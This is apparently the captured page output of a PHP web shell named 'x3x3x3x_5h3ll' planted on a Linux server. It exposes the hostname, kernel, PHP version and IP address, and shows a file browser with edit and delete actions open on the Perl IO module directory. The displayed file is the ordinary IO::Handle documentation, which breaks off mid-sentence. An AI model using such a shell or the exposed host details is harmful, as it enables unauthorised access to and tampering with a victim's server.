x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/perl5/IO/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
Socket dir drwxr-xr-x 2024-07-07 21:56 R D
  Dir.pm 5.242 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  File.pm 4.787 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Handle.pm 16.569 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Pipe.pm 5.344 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Poll.pm 4.444 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Seekable.pm 2.866 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Select.pm 8.054 KB -rw-r--r-- 2023-10-25 12:41 R E G D
  Socket.pm 13.9 KB -rw-r--r-- 2023-10-25 12:41 R E G D
REQUEST EXIT
package IO::Handle; =head1 NAME IO::Handle - supply object methods for I/O handles =head1 SYNOPSIS use IO::Handle; $io = IO::Handle->new(); if ($io->fdopen(fileno(STDIN),"r")) { print $io->getline; $io->close; } $io = IO::Handle->new(); if ($io->fdopen(fileno(STDOUT),"w")) { $io->print("Some text\n"); } # setvbuf is not available by default on Perls 5.8.0 and later. use IO::Handle '_IOLBF'; $io->setvbuf($buffer_var, _IOLBF, 1024); undef $io; # automatically closes the file if it's open autoflush STDOUT 1; =head1 DESCRIPTION C is the base class for all other IO handle classes. It is not intended that objects of C would be created directly, but instead C is inherited from by several other classes in the IO hierarchy. If you are reading this documentation, looking for a replacement for the C package, then I suggest you read the documentation for C too. =head1 CONSTRUCTOR =over 4 =item new () Creates a new C object. =item new_from_fd ( FD, MODE ) Creates an C like C does. It requires two parameters, which are passed to the method C; if the fdopen fails, the object is destroyed. Otherwise, it is returned to the caller. =back =head1 METHODS See L for complete descriptions of each of the following supported C methods, which are just front ends for the corresponding built-in functions: $io->close $io->eof $io->fcntl( FUNCTION, SCALAR ) $io->fileno $io->format_write( [FORMAT_NAME] ) $io->getc $io->ioctl( FUNCTION, SCALAR ) $io->read ( BUF, LEN, [OFFSET] ) $io->print ( ARGS ) $io->printf ( FMT, [ARGS] ) $io->say ( ARGS ) $io->stat $io->sysread ( BUF, LEN, [OFFSET] ) $io->syswrite ( BUF, [LEN, [OFFSET]] ) $io->truncate ( LEN ) See L for complete descriptions of each of the following supported C methods. All of them return the previous value of the attribute and takes an optional single argument that when given will set the value. If no argument is given the previous value is unchanged (except for $io->autoflush will actually turn ON autoflush by default). $io->autoflush ( [BOOL] ) $| $io->format_page_number( [NUM] ) $% $io->format_lines_per_page( [NUM] ) $= $io->format_lines_left( [NUM] ) $- $io->format_name( [STR] ) $~ $io->format_top_name( [STR] ) $^ $io->input_line_number( [NUM]) $. The following methods are not supported on a per-filehandle basis. IO::Handle->format_line_break_characters( [STR] ) $: IO::Handle->format_formfeed( [STR]) $^L IO::Handle->output_field_separator( [STR] ) $, IO::Handle->output_record_separator( [STR] ) $\ IO::Handle->input_record_separator( [STR] ) $/ Furthermore, for doing normal I/O you might need these: =over 4 =item $io->fdopen ( FD, MODE ) C is like an ordinary C except that its first parameter is not a filename but rather a file handle name, an IO::Handle object, or a file descriptor number. (For the documentation of the C method, see L.) =item $io->opened Returns true if the object is currently a valid file descriptor, false otherwise. =item $io->getline This works like <$io> described in L except that it's more readable and can be safely called in a list context but still returns just one line. If used as the conditional +within a C or C-style C loop, however, you will need to +emulate the functionality of <$io> with C<< defined($_ = $io->getline) >>. =item $io->getlines This works like <$io> when called in a list context to read all the remaining lines in a file, except that it's more readable. It will also croak() if accidentally called in a scalar context. =item $io->ungetc ( ORD ) Pushes a character with the given ordinal value back onto the given handle's input stream. Only one character of pushback per handle is guaranteed. =item $io->write ( BUF, LEN [, OFFSET ] ) This C is like C found in C, that is it is the opposite of read. The wrapper for the perl C function is called C. =item $io->error Returns a true value if the given handle has experienced any errors since it was opened or since the last call to C, or if the handle is invalid. It only returns false for a valid handle with no outstanding errors. =item $io->clearerr Clear the given handle's error indicator. Returns -1 if the handle is invalid, 0 otherwise. =item $io->sync C synchronizes a file's in-memory state with that on the physical medium. C does not operate at the perlio api level, but operates on the file descriptor (similar to sysread, sysseek and systell). This means that any data held at the perlio api level will not be synchronized. To synchronize data that is buffered at the perlio api level you must use the flush method. C is not implemented on all platforms. Returns "0 but true" on success, C on error, C for an invalid handle. See L. =item $io->flush C causes perl to flush any buffered data at the perlio api level. Any unread data in the buffer will be discarded, and any unwritten data will be written to the underlying file descriptor. Returns "0 but true" on success, C on error. =item $io->printflush ( ARGS ) Turns on autoflush, print ARGS and then restores the autoflush status of the C object. Returns the return value from print. =item $io->blocking ( [ BOOL ] ) If called with an argument C will turn on non-blocking IO if C is false, and turn it off if C is true. C will return the value of the previous setting,